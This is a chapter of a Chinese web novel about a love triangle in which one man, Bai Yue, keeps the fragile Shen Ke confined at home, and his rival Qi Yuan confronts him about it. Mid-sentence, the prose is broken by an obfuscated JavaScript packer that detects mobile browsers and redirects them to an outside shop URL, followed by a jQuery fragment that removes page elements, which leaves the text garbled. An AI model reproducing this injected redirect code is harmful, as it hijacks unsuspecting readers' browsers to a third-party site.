沈恪上楼了，门没关。
楼下有人声，他听不清他们在说什么，也不想听了。
好累。
他翻了个身，把脸埋进枕头里，鼻尖萦绕着淡淡的属于白越的气息。
意识渐渐模糊，快要睡着的时候，他听见门被推了一下。有人在门口站了很久，没有进来，也没有走。他分不清是白越还是祈愿。
后来听见一声极轻的关门声。他慢慢睁开眼，房门留了条缝。不知道是谁关的。
倦意再次席卷而来，他闭上眼睛，彻底坠入了梦乡。
……
客厅里只剩下白越和祈愿两个人。
祈愿坐在白越的对面。身体微微前倾，手肘死死撑在膝盖上，双手交握，直直地盯着白越。
祈愿等了两秒，见他不吭声，语气里的不耐更甚：“你没什么想说的？”
白越没答话，起身走到餐边柜前，倒了杯水。水温刚好，他端着杯子走回来，在祈愿对面坐下。
“你想听什么？”
祈愿猛地往后一靠，翘起腿，刻意摆出一副随意的姿态，手攥紧了膝盖，手背的青筋都隐隐凸起。
“他是怎么变成这样的？”祈愿的声音从牙缝里挤了出来，“他以前有自己的想法，会自己决定今天吃什么，会自己说要出去走走，会自己给温清然打电话，哪怕被拒也会再打一次。
“现在呢？他连自己想要什么都想不起来了。你把他关在这里一个月，给他做饭陪他玩，让他以为这就是正常的生活……这他妈叫囚禁！”
白越坐在那里，脸上依旧没什么表情，仿佛祈愿的控诉只是无关紧要的耳旁风。过了几秒，他才缓缓开口：“他在这里很开心。”
“开心？”祈愿像是听到了天大的笑话，“你管那叫开心？”
他抓起茶几上不知谁喝剩的半杯凉水，仰头灌了一大口。杯子搁回桌面时，磕出一声闷响。
白越垂了垂眼。
祈愿往前探了探身，声音压得极低：“如果他发现你本质是个什么人了呢？发现你所有的温柔，都是用来困住他的枷锁……他会恨你。”
“他越喜欢你，就越恨你。你把他关在这里，他连恨你都不知道该恨什么。因为他分不清哪些是你给的，哪些是本来该有的。”
白越忽然笑了一下，很短，没什么温度。
“本来该有的？”他看着祈愿，“他本来有什么？一间病房，一张病床，一台监护仪。他活到十八岁，连自己‘本来该有什么’都不知道。”
客厅里陷入了死寂。
楼上忽然传来一声轻响。咚的一下，像是有什么东西一不小心掉在了地上。
两个人同时停住。
白越抬头看向二楼，祈愿也顺着他的目光看过去。
几秒后，再没有声音传来。
白越收回视线，声音压低了一些：“他刚来的时候，每天晚上都睡不着。后来他能睡着了，是因为他终于觉得安全了。”
“你觉得他离开我，会更好？回到那间病房里？一个人躺着，一个人疼，一直等着下一次手术？还是继续当温清然的替身，被那些人找上门，听那些他不知道该怎么回的话？”
他往前倾了倾身：“你口口声声说的正常生活，是什么？是你陪他吃几顿烧烤，替他挡几次酒，给他占几次座，就叫正常生活？是你从来没在他最需要的时候出现过，却在他终于找到安稳的时候，跳出来指责我，就叫为他好？”
祈愿张了张嘴，想说很多话，想说沈恪不该被关着，他可以给沈恪正常的生活，想说他也能陪着沈恪。可那些话堵在喉咙里，一个字都出不来。
因为白越说的那些，都是真的。
他只记得沈恪会笑，会在他翻白眼的时候笑，在食堂抢他鸡腿的时候笑，在图书馆趴在他桌上睡着的时候笑。他以为那些笑都是真的，以为沈恪一直都是那样开朗那样无忧无虑，却从来没想过那些笑底下压着什么。
白越看着他语塞的样子，忽然笑了一下。
“你从来没有想过，他为什么会那么依赖我，对吗？”
祈愿猛地抬起头。
“他活了十八年，没有人问过他想要什么，也没人在问完后满足他的需求。”白越的声音听不出什么情绪。
“我是第一个。”
他站起身，走到窗边，推开半扇窗。夜风裹着凉意涌进来，吹散了一屋子的闷。他没回头，背对着祈愿站了一会儿。
“他刚来的时候，我说什么他都记着。我说‘这个好吃’，他就一直吃，吃到腻了也不说，怕我失望。”
他的声音很低。
“他以前也是这样对你的吗？”
祈愿的表情霎时变得难看至极，嘴唇抿着，一句话都说不出来。
“后来他学会跟我说‘不要’了。很小的事，不要这个菜，不要那个颜色。说的时候会偷偷看我的表情，怕我生气。我说好，他就笑。”
他转过身，看着祈愿。
“他活成这样，不是我的错。是我来得太晚。”
“你问我满意吗。我不满意。”
白越的声音很轻，像是在说给自己听。
祈愿抬起头。
白越看着他，嘴唇动了动，像还有什么话没说。但他没有继续说下去，只是垂下眼，把那半句咽了回去。
他希望沈恪永远不要学会说不要。永远不需要看任何人的脸色。希望他跟自己吵、跟自己闹，把想要的不想要的全都摔在他面前。
这些话堵在喉咙里，上不来，下不去。
他说不出口。可能是怕说出来就做不到了，也可能是……他根本没想过自己会有资格说这种话。
所以他只是站在那里，什么都没说。
祈愿等了几秒，没等到下文：“说完了？”
白越没答。
祈愿嗤笑一声，声音很平：“你不敢给，对不对？”
白越没说话。他垂着眼，盯着茶几上那片橘子皮，像是在看什么要紧的东西。
“你说他是第一个学会说不的。”祈愿的声音忽然低下来，“那他学会说‘要’了吗？”
“那他想要什么，你知道吗？”
白越没有回答。但他忽然想起沈恪站在路口的样子。红灯绿灯在他脸上交替亮着，他站在原地，不知道该往哪走。
他等的那个人，是自己。
可沈恪想要什么？
他想了很久，发现自己答不上来。
祈愿猛地站起来，力气过大，沙发被他推得在地板上刮出一声刺耳的响。他走到窗边，和白越隔着几步的距离，背对着他，手撑在窗台上，指节攥得发白。
过了好一会儿，他才开口，声音有点涩：“你刚才说，你是第一个。”
祈愿猛地抬起头，眼眶有点红，却依旧倔强地盯着白越：“那你打算让他一直这样吗？他本来可以活成自己喜欢的样子！”
白越没有说话。
祈愿往前迈了一步，两人站得很近，谁都没有退，谁都没有服软。
“你怕他走。但你有没有想过，他要是哪天自己想明白了……”
“他不会发现的。”白越的声音忽然插进来。
“……如果你不来的话。”
祈愿愣住了，眼底满是错愕，随即被更深的愤怒取代：“你这话是什么意思？你是想说只要我消失，你就能一直把他困在这里，让他一辈子活在你的谎言里？”
白越看着他，脸上没什么表情：“他只会觉得，生活本来就是这样。”
说完这句话，他自己先移开了视线。
祈愿盯着他看了很久，忽然觉得浑身发冷，不是身上冷，是心里冷。
“你打算关他多久？”
“……”
祈愿哼笑一声：“我真他妈的想骂你。”
他拳头攥紧又松开。
他是真的想骂，但沈恪在楼上。
白越没回答，只是静静地看着他，像是在说“你有本事，就骂出来”。
祈愿深呼吸，再吐气，压下了心中那点暴戾：“你从来没想过他愿不愿意，你想的只有怎么让他走不了。”
“我没想关他一辈子。”白越说。
祈愿只觉得他荒谬：“那你想关多久？”
白越没有回复。
祈愿替他答了：“等他再也想不起别人？等他的世界就剩下你一个人？”
“他不是想不起别人。”白越回得很快，声音很低，“他只是不知道该怎么想，不知道该怎么面对那些人和事。”
祈愿盯着他看了几秒，忽然别过脸，声音闷闷的，像是从喉咙里挤出来的：“你知道我为什么回来吗？”
白越没接话。
“我不想和你争什么。”祈愿的声音里透着疲惫，“我回来是因为他会被夹在中间，左右为难。”
“他什么都不会说，只会一个人躲起来偷偷地哭。”
他转过头看着白越：“你只顾着把他锁在身边，你从来没有想过，他被夹在你和我们之间，有多痛苦。”
白越没有说话。
良久，他忽然开口：“你喜欢他？”
祈愿的身体猛地一僵。
他张了张嘴，想说“不可能”。像上次在酒吧那样，干脆利落，想都不想。
可那三个字堵在喉咙里，怎么都出不来。
白越看着他，微微眯起眼，笑容在脸上缓缓展开：“你当时说不可能。那你现在又回来了，是后悔了吗？”
祈愿的脸色白了。
他想起酒吧走廊那个晚上。白越问他“你喜欢他”，他想都没想就说了“不可能”。他以为那是真的。他是直男，他不可能喜欢上一个顶着兄弟脸的人。
可现在站在这里，他忽然不确定了。
他不知道自己在干什么。
为什么要回来？为什么要打那一拳？住下来又是为了什么？为了在这里和白越吵架吗？
他告诉自己是因为沈恪被骗了、被关了、需要有人拉他一把。可如果只是朋友，他为什么会这么难受？
他看着白越，看着那张云淡风轻的脸，忽然觉得特别可笑。
他在跟自己较劲，白越什么都看透了。
他手握成拳，青筋尽起，声音压得很低：“我不知道。”
白越愣了一下。
祈愿没看他，盯着地板：“朋友也好，别的什么也好，无所谓。我只知道他不该被关在这里。”
他抬起头，眼神有点红。
“你问我后不后悔，我答不上来。但我现在不来，我以后一定会后悔。”
客厅里安静了很久。
白越看着他，嘴角那点笑慢慢收了回去。
他忽然不知道该说什么。
他准备了很多。他准备好祈愿否认，然后揭穿他，让他无地自容。可他没准备好这个。
他不知道。
白越垂下眼。
他忽然有点羡慕。祈愿可以不知道自己想要什么，可以站在那里，理直气壮地说“我不知道”，然后想回来就回来，想留下就留下。
他做不到。
他太知道自己想要什么了。
想要沈恪留下来，想要他只看自己。
可知道的代价，是怕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357305|198096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
怕他知道真相之后，那个“不知道”的人，会变成自己。
“你喜欢他。”
这一次不是问句，是陈述。
祈愿张了张嘴，他想说“狗屁”，想说“你少血口喷人”。
可他刚才说了“我不知道”。
现在再说“狗屁”，他自己都不信。
“我是他最好的朋友。”他听见自己说。
“朋友？”白越低低笑了一声，“你真的是以朋友的身份，站在这里的吗？”
“你是觉得他被关着不对，还是因为你发现，你连朋友这个位置都快要保不住了？”
“他是我的男朋友。”白越的声音忽然变得平静至极，没有一丝波澜，“你呢？”
“我是他最好的朋友！”祈愿的声音彻底破音，带着几分歇斯底里的倔强。
声音有些大了，白越瞥了一眼客房门口，确认沈恪没有惊醒后，才眉眼弯弯地笑了起来，凑得更近了：“你连自己为什么生气，都不知道？”
“！！！”
祈愿的拳头攥得咯吱响。他瞪着白越看了几秒，胸口剧烈起伏，像在拼命压着什么。然后他再也忍不住，一把抓住白越的衣领狠狠地将人按在墙上，发出砰的一声闷响。
他的眼神猩红，死死地瞪着白越，语气里满是戾气：“你他妈再说一遍？”
白越没挣，甚至没躲，他被按在墙上，领口勒着脖子，呼吸微微有些不畅，嘴角还挂着那道没好的红痕，就那么看着祈愿，眼睛都没眨。
他勾了勾唇：“你刚才说，你是关心朋友。那你现在在做什么？”
祈愿的手猛地一松，像是被什么东西烫到了，往后退了一步。
他看着白越，忽然觉得自己很可笑。
白越靠在墙上，领口被扯得歪了，露出脖子上那圈黑色的项圈。内侧隐约有什么痕迹，在昏暗的光线里看不清。
但祈愿知道那是什么。
只能是沈恪的名字。
祈愿盯着那圈黑色，看了很久。他的眼神里有愤怒，有不甘，还有一种他自己都不想承认的东西。
白越没有催，就那么靠在墙上，等他看够。
他站直了身体，慢条斯理地理了理被扯皱的衣领：“而且他也没有别的选择，不是吗？”
他说完，自己先愣了一下。
这句话说出来的时候，他才发现，他不是在说给祈愿听，是在说给自己听。
沈恪没有别的选择，所以留下来了。
那他到底在得意什么？
这个问题砸在他自己心里，比祈愿那一拳还重。
祈愿看着他失神慌乱的样子，过了片刻，他别过脸，咬牙切齿地控诉道：“你知道你现在像什么吗？”
白越抬起头。
“鬼。”
就只有这一个字。
客厅里安静了很久。
祈愿深呼吸一口气，往后退了一步，转身往楼梯走。
“我现在不想跟你打，会吵醒他。”他的声音很哑，听着很是疲惫不堪，“但我不会走。”
走到一半，他停下来。
“他不会选我。”
白越抬起头。
“他连自己都不选。你以为他选了你，其实他只是没得选。”
白越没说出话。
脚步声在楼梯上响了几下，然后停了。
“胆小鬼。”祈愿的声音从上面飘下来，闷闷的。
白越低低笑了一声，语气平淡：“你不是？”
祈愿站在楼梯上，背对着光，看不清表情，但声音很清楚：“我如果是，我现在就不会站在这里。”
他顿了顿。
“可你不敢的事情太多了。”
白越没有反驳，也没有回应。
过了一会。
“你家烟放哪了？”祈愿的声音从上面传下来，有点哑，还有点破罐破摔的意味。
白越没理他。
“之前和温清然谈的时候，你不是还会吸吗？”祈愿讥讽道，“装什么。”
白越抬起头，看着楼梯上的他。灯光只照到祈愿的下半身，看不清他的表情，只能看到他微微颤抖的肩膀，像是在压抑着什么情绪。
“你不是也戒了吗？”白越说。
祈愿没回。
他确实戒了，很久之前就戒了。因为沈恪说过抽烟不好，说抽烟伤身体。
那时候他只是觉得，既然兄弟不喜欢，那就戒了算了。
过了几秒，脚步声又响起来，推门，关门。
……
白越一个人坐在客厅里。
电视关着，灯关着。茶几上还放着那片橘子皮，沈恪剥的。他拿起来，指尖轻轻摩挲着，看了一会儿，想也没想地放进了口袋里。
楼上没有声音。
他看着祈愿刚才坐过的沙发。沙发垫上还有一个凹痕，是攥拳时压出来的。
不知道过了多久，他上了楼。
沈恪的门没关紧。他透过那条缝看进去，沈恪缩在被子里，只露出一个发顶。呼吸很轻，很稳。睡着了。
他看了很久，轻轻带上了门。
转身时，祈愿的房门开了。祈愿站在门口，穿着一身睡衣，头发凌乱，没看他，也没说话。两个人的目光在走廊里撞了一下，下一秒，祈愿关上了门。
走廊尽头的窗户透进来一点月光，落在地板上。白越站了很久，直到那点月光移到他脚边，才转身下楼。
他拿起沈恪盖过的毯子盖在身上，闭上眼睛。
毯子上还有一点沈恪的味道。很淡，但他喜欢。